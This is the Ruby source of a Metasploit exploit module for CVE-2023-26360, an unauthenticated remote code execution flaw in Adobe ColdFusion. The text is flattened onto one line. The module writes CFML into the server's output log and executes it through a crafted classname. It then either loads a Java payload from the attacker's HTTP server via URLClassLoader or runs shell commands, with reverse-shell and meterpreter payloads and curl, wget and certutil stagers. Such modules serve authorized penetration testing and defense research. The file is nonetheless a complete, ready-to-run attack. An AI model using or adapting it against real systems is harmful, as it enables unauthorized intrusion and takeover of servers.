Adobe ColdFusion Unauthenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe          ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in          order to gain remote code execution.        },        'License' => MSF_LICENSE,        'Author' => [          'sf', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-26360'],          ['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']        ],        'DisclosureDate' => '2023-03-14',        'Platform' => %w[java win linux unix],        'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true, # Code execution as 'NT AUTHORITY\SYSTEM' on Windows and 'nobody' on Linux.        'WfsDelay' => 30,        'Targets' => [          [            'Generic Java',            {              'Type' => :java,              'Platform' => 'java',              'Arch' => [ ARCH_JAVA ],              'DefaultOptions' => {                'PAYLOAD' => 'java/meterpreter/reverse_tcp'              }            },          ],          [            'Windows Command',            {              'Type' => :cmd,              'Platform' => 'win',              'Arch' => ARCH_CMD,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'              }            },          ],          [            'Windows Dropper',            {              'Type' => :dropper,              'Platform' => 'win',              'Arch' => [ ARCH_X86, ARCH_X64 ],              'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Type' => :cmd,              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_perl'              }            },          ],          [            'Linux Dropper',            {              'Type' => :dropper,              'Platform' => 'linux',              'Arch' => [ARCH_X64],              'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            # The following artifacts will be left on disk:            # The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)            # * Windows: C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\cfclasses\cfcoldfusion2dout2elog376354580.class            # * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class            # If a dropper payload was used, a file with a random name may be left.            # * Windows: C:\Windows\Temp\XXXXXX.exe            # * Linux: /tmp/XXXXXX            ARTIFACTS_ON_DISK,            # The following logs will contain IOCs:            # C:\ColdFusion2021\cfusion\logs\coldfusion-out.log            # C:\ColdFusion2021\cfusion\logs\exception.log            # C:\ColdFusion2021\cfusion\logs\application.log            IOC_IN_LOGS          ],          'RelatedModules' => [            'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'          ]        }      )    )    register_options(      [        Opt::RPORT(8500),        OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),        OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),        OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => '/'    )    return CheckCode::Unknown('Connection failed') unless res    # We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint    # to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.    # https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69    if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/      return CheckCode::Detected('ColdFusion detected but version number is unknown.')    end    CheckCode::Unknown  end  def exploit    unless datastore['CFC_ENDPOINT'].end_with?('.cfc')      fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')    end    case target['Type']    when :java      # Start the HTTP server      start_service      # Trigger a loadClass request via java.net.URLClassLoader      trigger_urlclassloader      # Handle the payload...      handler    when :cmd      execute_command(payload.encoded)    when :dropper      execute_cmdstager    end  end  def on_request_uri(cli, _req)    if target['Type'] == :java      print_status('Received payload request, transmitting payload jar...')      send_response(cli, payload.encoded, {        'Content-Type' => 'application/java-archive',        'Connection' => 'close',        'Pragma' => 'no-cache'      })    else      super    end  end  def trigger_urlclassloader    # Here we construct a CFML payload to load a Java payload via URLClassLoader.    # NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.    cf_url = Rex::Text.rand_text_alpha_lower(4)    srvhost = datastore['SRVHOST']    # Ensure SRVHOST is a routable IP address to our RHOST.    if Rex::Socket.addr_atoi(srvhost) == 0      srvhost = Rex::Socket.source_address(rhost)    end    # Create a URL pointing back to our HTTP server.    cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"    cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)    # Get a reference to java.lang.reflect.Array so we can create a URL[] instance.    cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"    cf_array = Rex::Text.rand_text_alpha_lower(4)    # Create a URL[1] instance.    cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"    # Set the first element in the array to our URL.    cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"    cf_loader = Rex::Text.rand_text_alpha_lower(4)    # Create a URLClassLoader instance.    cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"    # Load the remote JAR file and instantiate an instance of metasploit.Payload.    cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"    execute_cfml(cfc_payload)  end  def execute_command(cmd, _opts = {})    cf_param = Rex::Text.rand_text_alpha_lower(4)    # If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.    cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"    # Set our cf_param with the data in the requests form data, this is the command to run.    cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"    # Here we construct a CFML payload to stage the :cmd and :dropper commands...    shell_name = nil    shell_arg = nil    case target['Platform']    when 'win'      shell_name = 'cmd.exe'      shell_arg = '/C'    when 'linux', 'unix'      shell_name = '/bin/sh'      shell_arg = '-c'    end    cf_array = Rex::Text.rand_text_alpha_lower(4)    # Create an array of arguments to pass to exec()    cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"    cf_runtime = Rex::Text.rand_text_alpha_lower(4)    # Get a reference to the java.lang.Runtime class.    cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"    # Call the static Runtime.exec method to execute our string array holding the command and the arguments.    cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"    # The end of the If tag.    cfc_payload << '</cfif>'    execute_cfml(cfc_payload, cf_param, cmd)  end  def execute_cfml(cfml, param = nil, param_data = nil)    cfc_payload = '<cftry>'    cfc_payload << cfml    cfc_payload << "<cfcatch type='any'>"    cfc_payload << '</cfcatch>'    cfc_payload << '<cffinally>'    # Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.    # GetCurrentTemplatePath returns 'C:\ColdFusion2021\cfusion\wwwroot\..\logs\coldfusion-out.log' as this is the    # template we are executing.    cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"    cfc_payload << '</cffinally>'    cfc_payload << '</cftry>'    # We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.    unless cfc_payload.length < 950      fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')    end    # We dont need to call a valid CFC method, so we just create a random method name to supply to the server.    cfc_method = Rex::Text.rand_text_alpha_lower(1..8)    # Perform the request that writes the cfc_payload to the CF_LOGFILE.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },      'vars_post' => { '_variables' => "{#{cfc_payload}" }    )    unless res && res.code == 200 && res.body.include?('<title>Error</title>')      fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')    end    # The relative path from wwwroot to the CF_LOGFILE.    cflog_file = datastore['CF_LOGFILE']    # To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters    # to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.    if target['Platform'] == 'win'      classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\\')}"    else      classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"    end    json_variables = "{\"_metadata\":{\"classname\":#{classname.to_json}},\"_variables\":[]}"    vars_post = { '_variables' => json_variables }    unless param.nil? || param_data.nil?      vars_post[param] = param_data    end    # Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be    # executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(datastore['CFC_ENDPOINT']),      'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },      'vars_post' => vars_post    )    unless res && res.code == 200 && res.body.include?('<title>Error</title>')      fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')    end  endend